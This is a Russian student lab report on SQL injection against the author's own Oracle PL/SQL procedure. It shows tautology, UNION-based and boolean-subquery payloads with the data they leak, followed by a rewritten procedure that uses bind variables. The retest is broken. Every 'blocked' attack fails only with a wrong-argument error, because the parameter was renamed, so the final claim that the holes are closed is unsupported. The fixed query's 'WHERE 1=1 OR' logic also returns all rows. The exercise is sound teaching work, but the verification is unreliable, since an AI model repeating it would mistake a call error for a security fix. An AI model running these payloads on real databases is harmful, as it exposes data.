ФЕДЕРАЛЬНОЕ АГЕНТСТВО СВЯЗИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ

УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«СИБИРСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ И ИНФОРМАТИКИ»

*Кафедра прикладной математики и кибернетики*

Лабораторная работа №6

«SQL-инъекции»

Выполнил: студент группы ЗМП-41

Лёвкин И.А.

Проверил: доцент кафедры ПМиК

Приставка П. А.

Новосибирск, 2025

# Задание

1. Проанализируйте написанное в рамках выполнения лабораторной работы 5 приложение на уязвимость к SQL-инъекциям.

2. В случае обнаруженной уязвимости реализуйте практический пример атаки на приложение.

3. Перечислите основные способы устранения уязвимости кода к SQL-инъекциям и необходимости внесите необходимые изменения в код приложения для устранения уязвимостей.

# Ход работы

В ходе работы была проанализирована процедура написана в рамках лабораторной работы 5 на уязвимость к SQL-инъекциям.

Была обнаружена уязвимость подмены цели запроса и доступа к чувствительным данным из-за прямой конкатенации параметров процедуры в тело запроса.

Реализуем несколько примеров атаки на приложение:

1. **Атака через p\_sname\_condition**

|  |
| --- |
| print\_sal\_with\_filters(p\_sname\_condition => '= ''ANY'' OR 1=1--'); |

Результат: выводятся все записи таблицы SAL

|  |
| --- |
| 1001 Peel London .12  1002 Serres San Jose .13  1004 Motica London .11  1007 Rifkin Barcelona .15  1003 Axelrod New York .1 |

1. **Получение данных из других таблиц**

|  |
| --- |
| print\_sal\_with\_filters(  p\_sname\_condition => '= ''test'' UNION SELECT EMPLOYEE\_ID, FIRST\_NAME, LAST\_NAME, null FROM EMPLOYEES--',  p\_operator => 'OR'  ); |

Результат: выводятся записи из таблицы EMPLOYEES

|  |
| --- |
| 100 Steven King  101 Neena Kochhar  102 Lex De Haan  103 Alexander Hunold  104 Bruce Ernst  105 David Austin  106 Valli Pataballa  107 Diana Lorentz  108 Nancy Greenberg  109 Daniel Faviet  110 John Chen  111 Ismael Sciarra |

1. **Использование подзапроса для извлечения чувствительной информации**

|  |
| --- |
| print\_sal\_with\_filters(  p\_sname\_condition => '= ''x'' OR EXISTS (SELECT \* FROM CUST WHERE CNAME LIKE ''Hoffman'')--'  ); |

Результат: выводятся записи, а значит в таблице CUST есть заказчик с CNAME = Hoffman

|  |
| --- |
| 1001 Peel London .12  1002 Serres San Jose .13  1004 Motica London .11  1007 Rifkin Barcelona .15  1003 Axelrod New York .1 |

Для того чтобы избежать подобных атак существуют следующие методы защиты:

* Использование связываемых переменных (bind variables)
* Валидация и ограничение входных параметров
* Принцип минимальных привилегий
* Использование статических запросов
* Экранирование специальных символов

Применим эти методы и исправим процедуру:

|  |
| --- |
| CREATE OR REPLACE PROCEDURE print\_sal\_with\_filters\_safe(      p\_sname IN VARCHAR2 DEFAULT NULL,      p\_city IN VARCHAR2 DEFAULT NULL,      p\_operator IN VARCHAR2 DEFAULT 'AND'  )  IS      v\_sql VARCHAR2(1000);      v\_where\_clause VARCHAR2(500) := '';      v\_conditions\_count NUMBER := 0;        v\_cursor SYS\_REFCURSOR;      v\_sal\_row SAL%ROWTYPE;        -- Константы для валидации      C\_VALID\_OPERATORS CONSTANT VARCHAR2(10) := 'AND,OR';      C\_MAX\_NAME\_LENGTH CONSTANT NUMBER := 50;  BEGIN      -- Валидация оператора      IF p\_operator NOT IN ('AND', 'OR') THEN          RAISE\_APPLICATION\_ERROR(-20001, 'Invalid operator. Only AND or OR allowed.');      END IF;        -- Валидация длины строковых параметров      IF (p\_sname IS NOT NULL AND LENGTH(p\_sname) > C\_MAX\_NAME\_LENGTH) OR         (p\_city IS NOT NULL AND LENGTH(p\_city) > C\_MAX\_NAME\_LENGTH) THEN          RAISE\_APPLICATION\_ERROR(-20002, 'Input parameter too long.');      END IF;        -- Построение безопасного запроса с связываемыми переменными      v\_sql := 'SELECT SNUM, SNAME, CITY, COMM FROM SAL WHERE 1=1';        IF p\_sname IS NOT NULL THEN          v\_sql := v\_sql || ' ' || p\_operator || ' SNAME = :sname';      END IF;        IF p\_city IS NOT NULL THEN          v\_sql := v\_sql || ' ' || p\_operator || ' CITY = :city';      END IF;        -- Открытие курсора с связываемыми переменными      IF p\_sname IS NOT NULL AND p\_city IS NOT NULL THEN          OPEN v\_cursor FOR v\_sql USING p\_sname, p\_city;      ELSIF p\_sname IS NOT NULL THEN          OPEN v\_cursor FOR v\_sql USING p\_sname;      ELSIF p\_city IS NOT NULL THEN          OPEN v\_cursor FOR v\_sql USING p\_city;      ELSE          OPEN v\_cursor FOR v\_sql;      END IF;        -- Вывод результатов      LOOP          FETCH v\_cursor INTO v\_sal\_row;          EXIT WHEN v\_cursor%NOTFOUND;            DBMS\_OUTPUT.PUT\_LINE(              RPAD(v\_sal\_row.snum, 10) ||              RPAD(v\_sal\_row.sname, 15) ||              RPAD(v\_sal\_row.city, 15) ||              v\_sal\_row.comm          );      END LOOP;      CLOSE v\_cursor;  EXCEPTION      WHEN OTHERS THEN          DBMS\_OUTPUT.PUT\_LINE('Error: ' || SQLERRM);          IF v\_cursor%ISOPEN THEN              CLOSE v\_cursor;          END IF;  END print\_sal\_with\_filters\_safe; |

Теперь повторим атаки из примеров:

1. **Атака через p\_sname\_condition**

Результат

|  |
| --- |
| Error at line 2/5: ORA-06550: line 2, column 5:  PLS-00306: wrong number or types of arguments in call to 'PRINT\_SAL\_WITH\_FILTERS\_SAFE'  ORA-06512: at "SYS.WWV\_DBMS\_SQL\_APEX\_240200", line 803  ORA-06550: line 2, column 5:  PL/SQL: Statement ignored  1. BEGIN  2. print\_sal\_with\_filters\_safe(p\_sname\_condition => '= ''ANY'' OR 1=1--');  3. END; |

1. **Получение данных из других таблиц**

Результат:

|  |
| --- |
| Error at line 2/5: ORA-06550: line 2, column 5:  PLS-00306: wrong number or types of arguments in call to 'PRINT\_SAL\_WITH\_FILTERS\_SAFE'  ORA-06512: at "SYS.WWV\_DBMS\_SQL\_APEX\_240200", line 803  ORA-06550: line 2, column 5:  PL/SQL: Statement ignored  1. BEGIN  2.     print\_sal\_with\_filters\_safe(  3.         p\_sname\_condition => '= ''test'' UNION SELECT EMPLOYEE\_ID, FIRST\_NAME, LAST\_NAME, null FROM EMPLOYEES--',  4.         p\_operator => 'OR' |

1. **Использование подзапроса для извлечения чувствительной информации**

Результат:

|  |
| --- |
| Error at line 2/5: ORA-06550: line 2, column 5:  PLS-00306: wrong number or types of arguments in call to 'PRINT\_SAL\_WITH\_FILTERS\_SAFE'  ORA-06512: at "SYS.WWV\_DBMS\_SQL\_APEX\_240200", line 803  ORA-06550: line 2, column 5:  PL/SQL: Statement ignored  1. BEGIN  2. print\_sal\_with\_filters\_safe(  3. p\_sname\_condition => '= ''x'' OR EXISTS (SELECT \* FROM CUST WHERE CNAME LIKE ''Hoffman'')--'  4. ); |

Таким образом внесённые изменения помогли закрыть уязвимости в процедуре.